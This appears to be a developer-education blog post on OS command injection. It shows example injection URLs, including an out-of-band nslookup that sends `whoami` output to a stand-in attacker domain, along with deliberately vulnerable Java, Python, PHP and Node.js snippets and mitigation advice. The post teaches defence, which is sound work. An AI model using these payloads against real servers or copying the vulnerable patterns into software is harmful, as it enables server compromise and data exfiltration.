Security for Developers: OS Command Injection

Security for Developers: OS Command Injection

Methods, Examples & Mitigation

·

5 min read

Hello there! Are you a developer wanting to learn about security concepts? then you are at the right place. Let's learn about the whys and hows of OS Command Injection.

OS Command Injection

A web security flaw called OS command injection, often known as shell injection, enables an attacker to run an arbitrary operating system (OS) commands on a server hosting an application usually through HTTP Headers, cookies and forms, typically leading to the complete compromise of the application and all of its data.

Attackers could execute unauthorised/illegal commands, which could be used to disable the software or read/alter data that the attacker does not have direct access to. Because the targeted programme is directly executing the commands rather than the attacker, any malicious activity may appear to originate from the application or its owner.

One of the most basic and common example is when we try to browse a file in web application, it is simply displayed in the URL and hence the attacker can add a pipe ( | ) symbol at the end of the filename.

Example

URL :

https://os-command-injection.com/data?file=user.txt

URL after modifying:

https://os-command-injection.com/data?file=user.txt|whoami

Blind OS Command Injection

Blind OS Command Injections are command injections that produce no output for any commands run within an HTTP response. Such Blind Injections can be discovered utilising a variety of different techniques.

Blind OS Command Injections can be exploited using the above three methods

Performing Time delays

A time delay can be enabled to determine if the command was performed based on the duration it takes the server to respond.

Here the ping command can be used for the above process

https://os-command-injection.com/data?file=user.txt|ping+-c+10+127.0.0.1|

Redirecting the Output

The command injection output can be diverted to a file that can be accessed from the server.

Here the > character can be used to send the output to the file

https://os-command-injection.com/data?file=user.txt|whoami>/var/tmp/whoami.txt|

Out of band (OAST) techniques

Using OAST methods, an injected command will initiate an out-of-band network contact with a server.

The payload here that can be used is

https://os-command-injection.com/data?file=user.txt|nslookup+`whoami`.website.attacker.com|

Now as a software developer/engineer, the most crucial thing to comprehend is exactly how to mitigate OS Command Injection, as the methods described above indicate that you can't always trust user input.

We'll examine how OS Command Injection appears in various programming languages and how can we mitigate them.

OS Command Injection in Java

The following Java code snippet is vulnerable to a command injection attack:

public static void listFiles(String dir) throws Exception {
  Runtime rt = Runtime.getRuntime();
  Process pr = rt.exec(new String[] {"sh", "-c", "ls " + dir});
  int result = pr.waitFor();
  if (result != 0) 
  {
    System.out.println("process error: " + result);
  }
  InputStream in = (result == 0) ? pr.getInputStream() :pr.getErrorStream();
  int c;
  while ((c = in.read()) != -1) 
 {
    System.out.print((char) c);
  }
}

Mitigation

  • By providing only certain specific characters in the argument passed to runtime.exec() cleans up the untrusted user input.
  • By restricting user choice by passing only certain strings to runtime.exec().
  • By delivering a different method such as File.list() etc altogether by which the execution of system command can be accomplished.

OS Command Injection in Python

The following python code snippet is vulnerable to a command injection attack:

def page()
    dir = request.values.get(dir)
    command = 'ls ' + dir
    return subprocess.check_output(command, shell=True)

Here the directory(dir) will be directly appended to the given command and executed with the value of shell=true but an attacker can easily add a semicolon(;) and execute any additional command such as rm -rf exec.txt hence deleting a file from the server.

Mitigation

  • By providing certain specific characters using a allow list cleaning up the untrusted user input.
  • By Using subprocess API in python’s native APIs with the shell=false set as value.
  • There are many APIs in python that execute commands.Hence avoiding the value of shell to be false whenever possible can help mitigate such attack.

OS Command Injection in PHP

The following PHP code snippet is vulnerable to a command injection attack:

<?php
print("Specify the name of the file to be read");
print("<p>");
$file=$_GET['filename'];
system("cat $file");
?>

The following request and response is an example of a successful attack:

Request

https://os-command-injection.com/data?file=user.txt;id

Response

Specify the name of the file to be read
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Mitigation

  • By giving specified characters from an allow list, the untrusted user input is removed.
  • By providing a built-in function called filter_input to perform such a validation
  • PHP also offer functions to properly escape and quote strings such as escapeshellarg()and esacapeshellcmd()

OS Command Injection in Node.JS

The following Node.js code snippet is vulnerable to a command injection attack:

const childProcess = require('child_process')
const filename = process.argv[2]
const stdout = childProcess.execSync(`cat ${filename}`)
console.log(stdout.toString())

The above example executes a system command with unfiltered user input using the execSync (synchronous variant of exec).

Mitigation

  • Untrusted user input is eliminated by providing certain characters from an allow list.
  • Avoiding the use of shell invocation APIs in node.js whenever possible.
  • Using spawnSync() instead of execSync() in the above task can help passing only individual string.

Conclusion

  • It's crucial that any web-based apps stay away from operating system instructions that include user-controllable data.Teams working on development and cybersecurity should concentrate on using code that prevents unauthorised instructions from being used to control server-level operations.
  • It's imperative to rigorously check all user data if there is no safer and more secure means to carry out server-level operations.A allowlist of allowed values is frequently used to do this.Some businesses may restrict input to short sequences of alphanumeric characters.The system automatically rejects any input that falls outside of the allowed data range.
  • A shell interpreter that manages command chaining and redirection may receive a command string from an application in particular circumstances.A breach could result from this.Instead, just a specific process should be launched by the programme depending on the command line options and name provided. In this way, even if attackers get through simple input validation techniques, their options are constrained.

I wish you had a great time reading about a new security concept! Let me know if you have any queries. If not share this around. Hope to see you in the next one!

Did you find this article valuable?

Support Gautam by becoming a sponsor. Any amount is appreciated!